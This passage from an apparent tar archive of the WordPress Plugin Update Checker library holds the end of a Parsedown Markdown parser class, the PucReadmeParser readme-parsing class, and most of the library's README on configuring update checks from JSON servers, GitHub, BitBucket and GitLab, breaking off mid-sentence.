'gt', '<' => 'lt', '"' => 'quot'); if (isset($SpecialCharacter[$Excerpt['text'][0]])) { return array( 'markup' => '&'.$SpecialCharacter[$Excerpt['text'][0]].';', 'extent' => 1, ); } } protected function inlineStrikethrough($Excerpt) { if ( ! isset($Excerpt['text'][1])) { return; } if ($Excerpt['text'][1] === '~' and preg_match('/^~~(?=\S)(.+?)(?<=\S)~~/', $Excerpt['text'], $matches)) { return array( 'extent' => strlen($matches[0]), 'element' => array( 'name' => 'del', 'text' => $matches[1], 'handler' => 'line', ), ); } } protected function inlineUrl($Excerpt) { if ($this->urlsLinked !== true or ! isset($Excerpt['text'][2]) or $Excerpt['text'][2] !== '/') { return; } if (preg_match('/\bhttps?:[\/]{2}[^\s<]+\b\/*/ui', $Excerpt['context'], $matches, PREG_OFFSET_CAPTURE)) { $Inline = array( 'extent' => strlen($matches[0][0]), 'position' => $matches[0][1], 'element' => array( 'name' => 'a', 'text' => $matches[0][0], 'attributes' => array( 'href' => $matches[0][0], ), ), ); return $Inline; } } protected function inlineUrlTag($Excerpt) { if (strpos($Excerpt['text'], '>') !== false and preg_match('/^<(\w+:\/{2}[^ >]+)>/i', $Excerpt['text'], $matches)) { $url = str_replace(array('&', '<'), array('&', '<'), $matches[1]); return array( 'extent' => strlen($matches[0]), 'element' => array( 'name' => 'a', 'text' => $url, 'attributes' => array( 'href' => $url, ), ), ); } } # ~ protected function unmarkedText($text) { if ($this->breaksEnabled) { $text = preg_replace('/[ ]*\n/', "<br />\n", $text); } else { $text = preg_replace('/(?:[ ][ ]+|[ ]*\\\\)\n/', "<br />\n", $text); $text = str_replace(" \n", "\n", $text); } return $text; } # # Handlers # protected function element(array $Element) { $markup = '<'.$Element['name']; if (isset($Element['attributes'])) { foreach ($Element['attributes'] as $name => $value) { if ($value === null) { continue; } $markup .= ' '.$name.'="'.$value.'"'; } } if (isset($Element['text'])) { $markup .= '>'; if (isset($Element['handler'])) { $markup .= $this->{$Element['handler']}($Element['text']); } else { $markup .= $Element['text']; } $markup .= '</'.$Element['name'].'>'; } else { $markup .= ' />'; } return $markup; } protected function elements(array $Elements) { $markup = ''; foreach ($Elements as $Element) { $markup .= "\n" . $this->element($Element); } $markup .= "\n"; return $markup; } # ~ protected function li($lines) { $markup = $this->lines($lines); $trimmedMarkup = trim($markup); if ( ! in_array('', $lines) and substr($trimmedMarkup, 0, 3) === '<p>') { $markup = $trimmedMarkup; $markup = substr($markup, 3); $position = strpos($markup, "</p>"); $markup = substr_replace($markup, '', $position, 4); } return $markup; } # # Deprecated Methods # function parse($text) { $markup = $this->text($text); return $markup; } # # Static Methods # static function instance($name = 'default') { if (isset(self::$instances[$name])) { return self::$instances[$name]; } $instance = new static(); self::$instances[$name] = $instance; return $instance; } private static $instances = array(); # # Fields # protected $DefinitionData; # # Read-Only protected $specialCharacters = array( '\\', '`', '*', '_', '{', '}', '[', ']', '(', ')', '>', '#', '+', '-', '.', '!', '|', ); protected $StrongRegex = array( '*' => '/^[*]{2}((?:\\\\\*|[^*]|[*][^*]*[*])+?)[*]{2}(?![*])/s', '_' => '/^__((?:\\\\_|[^_]|_[^_]*_)+?)__(?!_)/us', ); protected $EmRegex = array( '*' => '/^[*]((?:\\\\\*|[^*]|[*][*][^*]+?[*][*])+?)[*](?![*])/s', '_' => '/^_((?:\\\\_|[^_]|__[^_]*__)+?)_(?!_)\b/us', ); protected $regexHtmlAttribute = '[a-zA-Z_:][\w:.-]*(?:\s*=\s*(?:[^"\'=<>`\s]+|"[^"]*"|\'[^\']*\'))?'; protected $voidElements = array( 'area', 'base', 'br', 'col', 'command', 'embed', 'hr', 'img', 'input', 'link', 'meta', 'param', 'source', ); protected $textLevelElements = array( 'a', 'br', 'bdo', 'abbr', 'blink', 'nextid', 'acronym', 'basefont', 'b', 'em', 'big', 'cite', 'small', 'spacer', 'listing', 'i', 'rp', 'del', 'code', 'strike', 'marquee', 'q', 'rt', 'ins', 'font', 'strong', 's', 'tt', 'sub', 'mark', 'u', 'xm', 'sup', 'nobr', 'var', 'ruby', 'wbr', 'span', 'time', ); }�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/vendor/PucReadmeParser.php�����������������������������������������������������������0000644�����������������00000030257�14757771437�0014515 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( !class_exists('PucReadmeParser', false) ): /** * This is a slightly modified version of github.com/markjaquith/WordPress-Plugin-Readme-Parser * It uses Parsedown instead of the "Markdown Extra" parser. */ class PucReadmeParser { function __construct() { // This space intentionally blank } function parse_readme( $file ) { $file_contents = @implode('', @file($file)); return $this->parse_readme_contents( $file_contents ); } function parse_readme_contents( $file_contents ) { $file_contents = str_replace(array("\r\n", "\r"), "\n", $file_contents); $file_contents = trim($file_contents); if ( 0 === strpos( $file_contents, "\xEF\xBB\xBF" ) ) $file_contents = substr( $file_contents, 3 ); // Markdown transformations $file_contents = preg_replace( "|^###([^#]+)#*?\s*?\n|im", '=$1='."\n", $file_contents ); $file_contents = preg_replace( "|^##([^#]+)#*?\s*?\n|im", '==$1=='."\n", $file_contents ); $file_contents = preg_replace( "|^#([^#]+)#*?\s*?\n|im", '===$1==='."\n", $file_contents ); // === Plugin Name === // Must be the very first thing. if ( !preg_match('|^===(.*)===|', $file_contents, $_name) ) return array(); // require a name $name = trim($_name[1], '='); $name = $this->sanitize_text( $name ); $file_contents = $this->chop_string( $file_contents, $_name[0] ); // Requires at least: 1.5 if ( preg_match('|Requires at least:(.*)|i', $file_contents, $_requires_at_least) ) $requires_at_least = $this->sanitize_text($_requires_at_least[1]); else $requires_at_least = NULL; // Tested up to: 2.1 if ( preg_match('|Tested up to:(.*)|i', $file_contents, $_tested_up_to) ) $tested_up_to = $this->sanitize_text( $_tested_up_to[1] ); else $tested_up_to = NULL; // Requires PHP: 5.2.4 if ( preg_match('|Requires PHP:(.*)|i', $file_contents, $_requires_php) ) { $requires_php = $this->sanitize_text( $_requires_php[1] ); } else { $requires_php = null; } // Stable tag: 10.4-ride-the-fire-eagle-danger-day if ( preg_match('|Stable tag:(.*)|i', $file_contents, $_stable_tag) ) $stable_tag = $this->sanitize_text( $_stable_tag[1] ); else $stable_tag = NULL; // we assume trunk, but don't set it here to tell the difference between specified trunk and default trunk // Tags: some tag, another tag, we like tags if ( preg_match('|Tags:(.*)|i', $file_contents, $_tags) ) { $tags = preg_split('|,[\s]*?|', trim($_tags[1])); foreach ( array_keys($tags) as $t ) $tags[$t] = $this->sanitize_text( $tags[$t] ); } else { $tags = array(); } // Contributors: markjaquith, mdawaffe, zefrank $contributors = array(); if ( preg_match('|Contributors:(.*)|i', $file_contents, $_contributors) ) { $temp_contributors = preg_split('|,[\s]*|', trim($_contributors[1])); foreach ( array_keys($temp_contributors) as $c ) { $tmp_sanitized = $this->user_sanitize( $temp_contributors[$c] ); if ( strlen(trim($tmp_sanitized)) > 0 ) $contributors[$c] = $tmp_sanitized; unset($tmp_sanitized); } } // Donate Link: URL if ( preg_match('|Donate link:(.*)|i', $file_contents, $_donate_link) ) { if(isset($_donate_link[1])) { $donate_link = esc_url( $_donate_link[1] ); } } else { $donate_link = NULL; } // togs, conts, etc are optional and order shouldn't matter. So we chop them only after we've grabbed their values. foreach ( array('tags', 'contributors', 'requires_at_least', 'tested_up_to', 'stable_tag', 'donate_link') as $chop ) { if ( $$chop ) { $_chop = '_' . $chop; $file_contents = $this->chop_string( $file_contents, ${$_chop}[0] ); } } $file_contents = trim($file_contents); // short-description fu if ( !preg_match('/(^(.*?))^[\s]*=+?[\s]*.+?[\s]*=+?/ms', $file_contents, $_short_description) ) $_short_description = array( 1 => &$file_contents, 2 => &$file_contents ); $short_desc_filtered = $this->sanitize_text( $_short_description[2] ); $short_desc_length = strlen($short_desc_filtered); $short_description = substr($short_desc_filtered, 0, 150); if ( $short_desc_length > strlen($short_description) ) $truncated = true; else $truncated = false; if ( $_short_description[1] ) $file_contents = $this->chop_string( $file_contents, $_short_description[1] ); // yes, the [1] is intentional // == Section == // Break into sections // $_sections[0] will be the title of the first section, $_sections[1] will be the content of the first section // the array alternates from there: title2, content2, title3, content3... and so forth $_sections = preg_split('/^[\s]*==[\s]*(.+?)[\s]*==/m', $file_contents, -1, PREG_SPLIT_DELIM_CAPTURE|PREG_SPLIT_NO_EMPTY); $sections = array(); for ( $i=0; $i < count($_sections); $i +=2 ) { $title = $this->sanitize_text( $_sections[$i] ); if ( isset($_sections[$i+1]) ) { $content = preg_replace('/(^[\s]*)=[\s]+(.+?)[\s]+=/m', '$1<h4>$2</h4>', $_sections[$i+1]); $content = $this->filter_text( $content, true ); } else { $content = ''; } $sections[str_replace(' ', '_', strtolower($title))] = array('title' => $title, 'content' => $content); } // Special sections // This is where we nab our special sections, so we can enforce their order and treat them differently, if needed // upgrade_notice is not a section, but parse it like it is for now $final_sections = array(); foreach ( array('description', 'installation', 'frequently_asked_questions', 'screenshots', 'changelog', 'change_log', 'upgrade_notice') as $special_section ) { if ( isset($sections[$special_section]) ) { $final_sections[$special_section] = $sections[$special_section]['content']; unset($sections[$special_section]); } } if ( isset($final_sections['change_log']) && empty($final_sections['changelog']) ) $final_sections['changelog'] = $final_sections['change_log']; $final_screenshots = array(); if ( isset($final_sections['screenshots']) ) { preg_match_all('|<li>(.*?)</li>|s', $final_sections['screenshots'], $screenshots, PREG_SET_ORDER); if ( $screenshots ) { foreach ( (array) $screenshots as $ss ) $final_screenshots[] = $ss[1]; } } // Parse the upgrade_notice section specially: // 1.0 => blah, 1.1 => fnord $upgrade_notice = array(); if ( isset($final_sections['upgrade_notice']) ) { $split = preg_split( '#<h4>(.*?)</h4>#', $final_sections['upgrade_notice'], -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY ); if ( count($split) >= 2 ) { for ( $i = 0; $i < count( $split ); $i += 2 ) { $upgrade_notice[$this->sanitize_text( $split[$i] )] = substr( $this->sanitize_text( $split[$i + 1] ), 0, 300 ); } } unset( $final_sections['upgrade_notice'] ); } // No description? // No problem... we'll just fall back to the old style of description // We'll even let you use markup this time! $excerpt = false; if ( !isset($final_sections['description']) ) { $final_sections = array_merge(array('description' => $this->filter_text( $_short_description[2], true )), $final_sections); $excerpt = true; } // dump the non-special sections into $remaining_content // their order will be determined by their original order in the readme.txt $remaining_content = ''; foreach ( $sections as $s_name => $s_data ) { $remaining_content .= "\n<h3>{$s_data['title']}</h3>\n{$s_data['content']}"; } $remaining_content = trim($remaining_content); // All done! // $r['tags'] and $r['contributors'] are simple arrays // $r['sections'] is an array with named elements $r = array( 'name' => $name, 'tags' => $tags, 'requires_at_least' => $requires_at_least, 'tested_up_to' => $tested_up_to, 'requires_php' => $requires_php, 'stable_tag' => $stable_tag, 'contributors' => $contributors, 'donate_link' => $donate_link, 'short_description' => $short_description, 'screenshots' => $final_screenshots, 'is_excerpt' => $excerpt, 'is_truncated' => $truncated, 'sections' => $final_sections, 'remaining_content' => $remaining_content, 'upgrade_notice' => $upgrade_notice ); return $r; } function chop_string( $string, $chop ) { // chop a "prefix" from a string: Agressive! uses strstr not 0 === strpos if ( $_string = strstr($string, $chop) ) { $_string = substr($_string, strlen($chop)); return trim($_string); } else { return trim($string); } } function user_sanitize( $text, $strict = false ) { // whitelisted chars if ( function_exists('user_sanitize') ) // bbPress native return user_sanitize( $text, $strict ); if ( $strict ) { $text = preg_replace('/[^a-z0-9-]/i', '', $text); $text = preg_replace('|-+|', '-', $text); } else { $text = preg_replace('/[^a-z0-9_-]/i', '', $text); } return $text; } function sanitize_text( $text ) { // not fancy $text = function_exists('wp_strip_all_tags') ? wp_strip_all_tags($text) //phpcs:ignore WordPressVIPMinimum.Functions.StripTags.StripTagsOneParameter -- Using wp_strip_all_tags() if available : strip_tags($text); $text = esc_html($text); $text = trim($text); return $text; } function filter_text( $text, $markdown = false ) { // fancy, Markdown $text = trim($text); $text = call_user_func( array( __CLASS__, 'code_trick' ), $text, $markdown ); // A better parser than Markdown's for: backticks -> CODE if ( $markdown ) { // Parse markdown. if ( !class_exists('Parsedown', false) ) { /** @noinspection PhpIncludeInspection */ require_once(dirname(__FILE__) . '/Parsedown' . (version_compare(PHP_VERSION, '5.3.0', '>=') ? '' : 'Legacy') . '.php'); } $instance = Parsedown::instance(); $text = $instance->text($text); } $allowed = array( 'a' => array( 'href' => array(), 'title' => array(), 'rel' => array()), 'blockquote' => array('cite' => array()), 'br' => array(), 'p' => array(), 'code' => array(), 'pre' => array(), 'em' => array(), 'strong' => array(), 'ul' => array(), 'ol' => array(), 'li' => array(), 'h3' => array(), 'h4' => array() ); $text = balanceTags($text); $text = wp_kses( $text, $allowed ); $text = trim($text); return $text; } function code_trick( $text, $markdown ) { // Don't use bbPress native function - it's incompatible with Markdown // If doing markdown, first take any user formatted code blocks and turn them into backticks so that // markdown will preserve things like underscores in code blocks if ( $markdown ) $text = preg_replace_callback("!(<pre><code>|<code>)(.*?)(</code></pre>|</code>)!s", array( __CLASS__,'decodeit'), $text); $text = str_replace(array("\r\n", "\r"), "\n", $text); if ( !$markdown ) { // This gets the "inline" code blocks, but can't be used with Markdown. $text = preg_replace_callback("|(`)(.*?)`|", array( __CLASS__, 'encodeit'), $text); // This gets the "block level" code blocks and converts them to PRE CODE $text = preg_replace_callback("!(^|\n)`(.*?)`!s", array( __CLASS__, 'encodeit'), $text); } else { // Markdown can do inline code, we convert bbPress style block level code to Markdown style $text = preg_replace_callback("!(^|\n)([ \t]*?)`(.*?)`!s", array( __CLASS__, 'indent'), $text); } return $text; } function indent( $matches ) { $text = $matches[3]; $text = preg_replace('|^|m', $matches[2] . ' ', $text); return $matches[1] . $text; } function encodeit( $matches ) { if ( function_exists('encodeit') ) // bbPress native return encodeit( $matches ); $text = trim($matches[2]); $text = htmlspecialchars($text, ENT_QUOTES); $text = str_replace(array("\r\n", "\r"), "\n", $text); $text = preg_replace("|\n\n\n+|", "\n\n", $text); $text = str_replace('&lt;', '<', $text); $text = str_replace('&gt;', '>', $text); $text = "<code>$text</code>"; if ( "`" != $matches[1] ) $text = "<pre>$text</pre>"; return $text; } function decodeit( $matches ) { if ( function_exists('decodeit') ) // bbPress native return decodeit( $matches ); $text = $matches[2]; $trans_table = array_flip(get_html_translation_table(HTML_ENTITIES)); $text = strtr($text, $trans_table); $text = str_replace('<br />', '', $text); $text = str_replace('&', '&', $text); $text = str_replace(''', "'", $text); if ( '<pre><code>' == $matches[1] ) $text = "\n$text\n"; return "`$text`"; } } // end class endif; �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/README.md����������������������������������������������������������������������������0000644�����������������00000050524�14757771437�0010743 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Plugin Update Checker ===================== This is a custom update checker library for WordPress plugins and themes. It lets you add automatic update notifications and one-click upgrades to your commercial plugins, private themes, and so on. All you need to do is put your plugin/theme details in a JSON file, place the file on your server, and pass the URL to the library. The library periodically checks the URL to see if there's a new version available and displays an update notification to the user if necessary. From the users' perspective, it works just like with plugins and themes hosted on WordPress.org. The update checker uses the default upgrade UI that is familiar to most WordPress users. <!-- START doctoc generated TOC please keep comment here to allow auto update --> <!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE --> **Table of Contents** - [Getting Started](#getting-started) - [Self-hosted Plugins and Themes](#self-hosted-plugins-and-themes) - [How to Release an Update](#how-to-release-an-update) - [Notes](#notes) - [GitHub Integration](#github-integration) - [How to Release an Update](#how-to-release-an-update-1) - [Notes](#notes-1) - [BitBucket Integration](#bitbucket-integration) - [How to Release an Update](#how-to-release-an-update-2) - [GitLab Integration](#gitlab-integration) - [How to Release a GitLab Update](#how-to-release-a-gitlab-update) - [Migrating from 4.x](#migrating-from-4x) - [License Management](#license-management) - [Resources](#resources) <!-- END doctoc generated TOC please keep comment here to allow auto update --> Getting Started --------------- *Note:* In each of the below examples, part of the instructions are to create an instance of the update checker class. It's recommended to do this either during the `plugins_loaded` action or outside of any hooks. If you do it only during an `admin_*` action, then updates will not be visible to a wide variety of WordPress maanagement tools; they will only be visible to logged-in users on dashboard pages. ### Self-hosted Plugins and Themes 1. Download [the latest release](https://github.com/YahnisElsts/plugin-update-checker/releases/latest) and copy the `plugin-update-checker` directory to your plugin or theme. 2. Go to the `examples` subdirectory and open the .json file that fits your project type. Replace the placeholder data with your plugin/theme details. - Plugin example: ```json { "name" : "Plugin Name", "version" : "2.0", "download_url" : "https://example.com/plugin-name-2.0.zip", "sections" : { "description" : "Plugin description here. You can use HTML." } } ``` This is a minimal example that leaves out optional fields. See [this table](https://docs.google.com/spreadsheets/d/1eOBbW7Go2qEQXReOOCdidMTf_tDYRq4JfegcO1CBPIs/edit?usp=sharing) for a full list of supported fields and their descriptions. - Theme example: ```json { "version": "2.0", "details_url": "https://example.com/version-2.0-details.html", "download_url": "https://example.com/example-theme-2.0.zip" } ``` This is actually a complete example that shows all theme-related fields. `version` and `download_url` should be self-explanatory. The `details_url` key specifies the page that the user will see if they click the "View version 1.2.3 details" link in an update notification. 3. Upload the JSON file to a publicly accessible location. 4. Add the following code to the main plugin file or to the `functions.php` file: ```php require 'path/to/plugin-update-checker/plugin-update-checker.php'; use YahnisElsts\PluginUpdateChecker\v5\PucFactory; $myUpdateChecker = PucFactory::buildUpdateChecker( 'https://example.com/path/to/details.json', __FILE__, //Full path to the main plugin file or functions.php. 'unique-plugin-or-theme-slug' ); ``` Note: If you're using the Composer autoloader, you don't need to explicitly `require` the library. #### How to Release an Update Change the `version` number in the JSON file and make sure that `download_url` points to the latest version. Update the other fields if necessary. Tip: You can use [wp-update-server](https://github.com/YahnisElsts/wp-update-server) to automate this process. By default, the library will check the specified URL for changes every 12 hours. You can force it to check immediately by clicking the "Check for updates" link on the "Plugins" page (it's next to the "Visit plugin site" link). Themes don't have that link, but you can also trigger an update check like this: 1. Install [Debug Bar](https://srd.wordpress.org/plugins/debug-bar/). 2. Click the "Debug" menu in the Admin Bar (a.k.a Toolbar). 3. Open the "PUC (your-slug)" panel. 4. Click the "Check Now" button. #### Notes - The second argument passed to `buildUpdateChecker` must be the absolute path to the main plugin file or any file in the theme directory. If you followed the "getting started" instructions, you can just use the `__FILE__` constant. - The third argument - i.e. the slug - is optional but recommended. In most cases, the slug should be the same as the name of your plugin directory. For example, if your plugin lives in `/wp-content/plugins/my-plugin`, set the slug to `my-plugin`. If the slug is omitted, the update checker will use the name of the main plugin file as the slug (e.g. `my-cool-plugin.php` → `my-cool-plugin`). This can lead to conflicts if your plugin has a generic file name like `plugin.php`. This doesn't affect themes because PUC uses the theme directory name as the default slug. Still, if you're planning to use the slug in your own code - e.g. to filter updates or override update checker behaviour - it can be a good idea to set it explicitly. ### GitHub Integration 1. Download [the latest release](https://github.com/YahnisElsts/plugin-update-checker/releases/latest) and copy the `plugin-update-checker` directory to your plugin or theme. 2. Add the following code to the main plugin file or `functions.php`: ```php require 'plugin-update-checker/plugin-update-checker.php'; use YahnisElsts\PluginUpdateChecker\v5\PucFactory; $myUpdateChecker = PucFactory::buildUpdateChecker( 'https://github.com/user-name/repo-name/', __FILE__, 'unique-plugin-or-theme-slug' ); //Set the branch that contains the stable release. $myUpdateChecker->setBranch('stable-branch-name'); //Optional: If you're using a private repository, specify the access token like this: $myUpdateChecker->setAuthentication('your-token-here'); ``` 3. Plugins only: Add a `readme.txt` file formatted according to the [WordPress.org plugin readme standard](https://wordpress.org/plugins/readme.txt) to your repository. The contents of this file will be shown when the user clicks the "View version 1.2.3 details" link. #### How to Release an Update This library supports a couple of different ways to release updates on GitHub. Pick the one that best fits your workflow. - **GitHub releases** Create a new release using the "Releases" feature on GitHub. The tag name and release title don't matter. The description is optional, but if you do provide one, it will be displayed when the user clicks the "View version x.y.z details" link on the "Plugins" page. Note that PUC ignores releases marked as "This is a pre-release". If you want to use release assets, call the `enableReleaseAssets()` method after creating the update checker instance: ```php $myUpdateChecker->getVcsApi()->enableReleaseAssets(); ``` - **Tags** To release version 1.2.3, create a new Git tag named `v1.2.3` or `1.2.3`. That's it. PUC doesn't require strict adherence to [SemVer](https://semver.org/). These are all valid tag names: `v1.2.3`, `v1.2-foo`, `1.2.3_rc1-ABC`, `1.2.3.4.5`. However, be warned that it's not smart enough to filter out alpha/beta/RC versions. If that's a problem, you might want to use GitHub releases or branches instead. - **Stable branch** Point the update checker at a stable, production-ready branch: ```php $updateChecker->setBranch('branch-name'); ``` PUC will periodically check the `Version` header in the main plugin file or `style.css` and display a notification if it's greater than the installed version. Caveat: If you set the branch to `master` (the default), the update checker will look for recent releases and tags first. It'll only use the `master` branch if it doesn't find anything else suitable. #### Notes The library will pull update details from the following parts of a release/tag/branch: - Version number - The "Version" plugin header. - The latest GitHub release or tag name. - Changelog - The "Changelog" section of `readme.txt`. - One of the following files: CHANGES.md, CHANGELOG.md, changes.md, changelog.md - GitHub release notes. - Required and tested WordPress versions - The "Requires at least" and "Tested up to" fields in `readme.txt`. - The following plugin headers: `Required WP`, `Tested WP`, `Requires at least`, `Tested up to` - "Last updated" timestamp - The creation timestamp of the latest GitHub release. - The latest commit in the selected tag or branch. - Number of downloads - The `download_count` statistic of the latest release. - If you're not using GitHub releases, there will be no download stats. - Other plugin details - author, homepage URL, description - The "Description" section of `readme.txt`. - Remote plugin headers (i.e. the latest version on GitHub). - Local plugin headers (i.e. the currently installed version). - Ratings, banners, screenshots - Not supported. ### BitBucket Integration 1. Download [the latest release](https://github.com/YahnisElsts/plugin-update-checker/releases/latest) and copy the `plugin-update-checker` directory to your plugin or theme. 2. Add the following code to the main plugin file or `functions.php`: ```php require 'plugin-update-checker/plugin-update-checker.php'; use YahnisElsts\PluginUpdateChecker\v5\PucFactory; $myUpdateChecker = PucFactory::buildUpdateChecker( 'https://bitbucket.org/user-name/repo-name', __FILE__, 'unique-plugin-or-theme-slug' ); //Optional: If you're using a private repository, create an OAuth consumer //and set the authentication credentials like this: //Note: For now you need to check "This is a private consumer" when //creating the consumer to work around #134: // https://github.com/YahnisElsts/plugin-update-checker/issues/134 $myUpdateChecker->setAuthentication(array( 'consumer_key' => '...', 'consumer_secret' => '...', )); //Optional: Set the branch that contains the stable release. $myUpdateChecker->setBranch('stable-branch-name'); ``` 3. Optional: Add a `readme.txt` file formatted according to the [WordPress.org plugin readme standard](https://wordpress.org/plugins/readme.txt) to your repository. For plugins, the contents of this file will be shown when the user clicks the "View version 1.2.3 details" link. #### How to Release an Update BitBucket doesn't have an equivalent to GitHub's releases, so the process is slightly different. You can use any of the following approaches: - **`Stable tag` header** This is the recommended approach if you're using tags to mark each version. Add a `readme.txt` file formatted according to the [WordPress.org plugin readme standard](https://wordpress.org/plugins/readme.txt) to your repository. Set the "stable tag" header to the tag that represents the latest release. Example: ```text Stable tag: v1.2.3 ``` The tag doesn't have to start with a "v" or follow any particular format. You can use any name you like as long as it's a valid Git tag. Tip: If you explicitly set a stable branch, the update checker will look for a `readme.txt` in that branch. Otherwise it will only look at the `master` branch. - **Tags** You can skip the "stable tag" bit and just create a new Git tag named `v1.2.3` or `1.2.3`. The update checker will look at the most recent tags and pick the one that looks like the highest version number. PUC doesn't require strict adherence to [SemVer](https://semver.org/). These are all valid tag names: `v1.2.3`, `v1.2-foo`, `1.2.3_rc1-ABC`, `1.2.3.4.5`. However, be warned that it's not smart enough to filter out alpha/beta/RC versions. - **Stable branch** Point the update checker at a stable, production-ready branch: ```php $updateChecker->setBranch('branch-name'); ``` PUC will periodically check the `Version` header in the main plugin file or `style.css` and display a notification if it's greater than the installed version. Caveat: If you set the branch to `master`, the update checker will still look for tags first. ### GitLab Integration 1. Download [the latest release](https://github.com/YahnisElsts/plugin-update-checker/releases/latest) and copy the `plugin-update-checker` directory to your plugin or theme. 2. Add the following code to the main plugin file or `functions.php` and define how you want to check for updates from Gitlab (refer to: [Gitlab: How to Release an Update](#how-to-release-a-gitlab-update)): ```php require 'plugin-update-checker/plugin-update-checker.php'; use YahnisElsts\PluginUpdateChecker\v5\PucFactory; $myUpdateChecker = PucFactory::buildUpdateChecker( 'https://gitlab.com/user-name/repo-name/', __FILE__, 'unique-plugin-or-theme-slug' ); //Optional: If you're using a private repository, specify the access token like this: $myUpdateChecker->setAuthentication('your-token-here'); ``` Alternatively, if you're using a self-hosted GitLab instance, initialize the update checker like this: ```php use YahnisElsts\PluginUpdateChecker\v5p2\Vcs\PluginUpdateChecker; use YahnisElsts\PluginUpdateChecker\v5p2\Vcs\GitLabApi; $myUpdateChecker = new PluginUpdateChecker( new GitLabApi('https://myserver.com/user-name/repo-name/'), __FILE__, 'unique-plugin-or-theme-slug' ); //Optional: Add setAuthentication(...) and setBranch(...) as shown above. ``` If you're using a self-hosted GitLab instance and [subgroups or nested groups](https://docs.gitlab.com/ce/user/group/subgroups/index.html), you have to tell the update checker which parts of the URL are subgroups: ```php use YahnisElsts\PluginUpdateChecker\v5p2\Vcs\PluginUpdateChecker; use YahnisElsts\PluginUpdateChecker\v5p2\Vcs\GitLabApi; $myUpdateChecker = new PluginUpdateChecker( new GitLabApi( 'https://myserver.com/group-name/subgroup-level1/subgroup-level2/subgroup-level3/repo-name/', null, 'subgroup-level1/subgroup-level2/subgroup-level3' ), __FILE__, 'unique-plugin-or-theme-slug' ); ``` 3. Plugins only: Add a `readme.txt` file formatted according to the [WordPress.org plugin readme standard](https://wordpress.org/plugins/readme.txt) to your repository. The contents of this file will be shown when the user clicks the "View version 1.2.3 details" link. #### How to Release a GitLab Update A GitLab repository can be checked for updates in 3 different ways. - **GitLab releases** Create a new release using the "Releases" feature on GitLab. The tag name should match the version number. You can add a `v` prefix to the tag, like `v1.2.3`. Releases that are marked as ["Upcoming Release"](https://docs.gitlab.com/ee/user/project/releases/index.html#upcoming-releases) will be automatically ignored. If you want to use custom release assets, call the `enableReleaseAssets()` method after creating the update checker instance: ```php $myUpdateChecker->getVcsApi()->enableReleaseAssets(); ``` By default, PUC will use the first available asset link, regardless of type. You can pass a regular expression to `enableReleaseAssets()` to make it pick the first link where the URL matches the regex. For example: ```php $myUpdateChecker->getVcsApi()->enableReleaseAssets('/\.zip($|[?&#])/i'); ``` **Tip:** You can use a Gitlab CI/CD Pipeline to automatically generate your update on release using a Generic Package. For more information about generic packages, refer to the following links: - [Gitlab CI/CD Release Documentation](https://docs.gitlab.com/ee/user/project/releases/#create-release-from-gitlab-ci) - [Gitlab Release Assets as Generic Package Documentation](https://gitlab.com/gitlab-org/release-cli/-/tree/master/docs/examples/release-assets-as-generic-package/) - [Example .gitlab-ci.yml file using Release Generic Packages for generating a update package from the Sensei-LMS wordpress plugin](https://gist.github.com/timwiel/9dfd3526c768efad4973254085e065ce) - **Tags** To release version 1.2.3, create a new Git tag named `v1.2.3` or `1.2.3`. The update checker will look at recent tags and use the one that looks like the highest version number. PUC doesn't require strict adherence to [SemVer](https://semver.org/). However, be warned that it's not smart enough to filter out alpha/beta/RC versions. If that's a problem, you might want to use GitLab branches instead. - **Stable branch** Point the update checker at any stable, production-ready branch: ```php $myUpdateChecker->setBranch('stable-branch-name'); ``` PUC will periodically check the `Version` header in the main plugin file or `style.css` and display a notification if it's greater than the installed version. Caveat: Even if you set the branch to `main` (the default) or `master` (the historical default), the update checker will still look for recent releases and tags first. Migrating from 4.x ------------------ Older versions of the library didn't use namespaces. Code that was written for those versions will need to be updated to work with the current version. At a minimum, you'll need to change the factory class name. Old code: ```php $myUpdateChecker = Puc_v4_Factory::buildUpdateChecker( 'https://example.com/info.json', __FILE__, 'my-slug' ); ``` New code: ```php use YahnisElsts\PluginUpdateChecker\v5\PucFactory; $myUpdateChecker = PucFactory::buildUpdateChecker( 'https://example.com/info.json', __FILE__, 'my-slug' ); ``` Other classes have also been renamed, usually by simply removing the `Puc_vXpY_` prefix and converting `Category_Thing` to `Category\Thing`. Here's a table of the most commonly used classes and their new names: | Old class name | New class name | |-------------------------------------|----------------------------------------------------------------| | `Puc_v4_Factory` | `YahnisElsts\PluginUpdateChecker\v5\PucFactory` | | `Puc_v4p13_Factory` | `YahnisElsts\PluginUpdateChecker\v5p2\PucFactory` | | `Puc_v4p13_Plugin_UpdateChecker` | `YahnisElsts\PluginUpdateChecker\v5p2\Plugin\UpdateChecker` | | `Puc_v4p13_Theme_UpdateChecker` | `YahnisElsts\PluginUpdateChecker\v5p2\Theme\UpdateChecker` | | `Puc_v4p13_Vcs_PluginUpdateChecker` | `YahnisElsts\PluginUpdateChecker\v5p2\Vcs\PluginUpdateChecker` | | `Puc_v4p13_Vcs_ThemeUpdateChecker` | `YahnisElsts\PluginUpdateChecker\v5p2\Vcs\ThemeUpdateChecker` | | `Puc_v4p13_Vcs_GitHubApi` | `YahnisElsts\PluginUpdateChecker\v5p2\Vcs\GitHubApi` | | `Puc_v4p13_Vcs_GitLabApi` | `YahnisElsts\PluginUpdateChecker\v5p2\Vcs\GitLabApi` | | `Puc_v4p13_Vcs_BitBucketApi` | `YahnisElsts\PluginUpdateChecker\v5p2\Vcs\BitBucketApi` | License Management ------------------ Currently, the update checker doesn't have any built-in license management features. It only provides some hooks that you can use to, for example, append license keys to update requests (`$updateChecker->addQueryArgFilter()`). If you're looking for ways to manage and verify licenses, please post your feedback in [this issue](https://github.com/YahnisElsts/plugin-update-checker/issues/222). Resources --------- - [This blog post](https://w-shadow.com/blog/2010/09/02/automatic-updates-for-any-plugin/) has more information about the update checker API. *Slightly out of date.* - [Debug Bar](https://wordpress.org/plugins/debug-bar/) - useful for testing and debugging the update checker. - [Update format 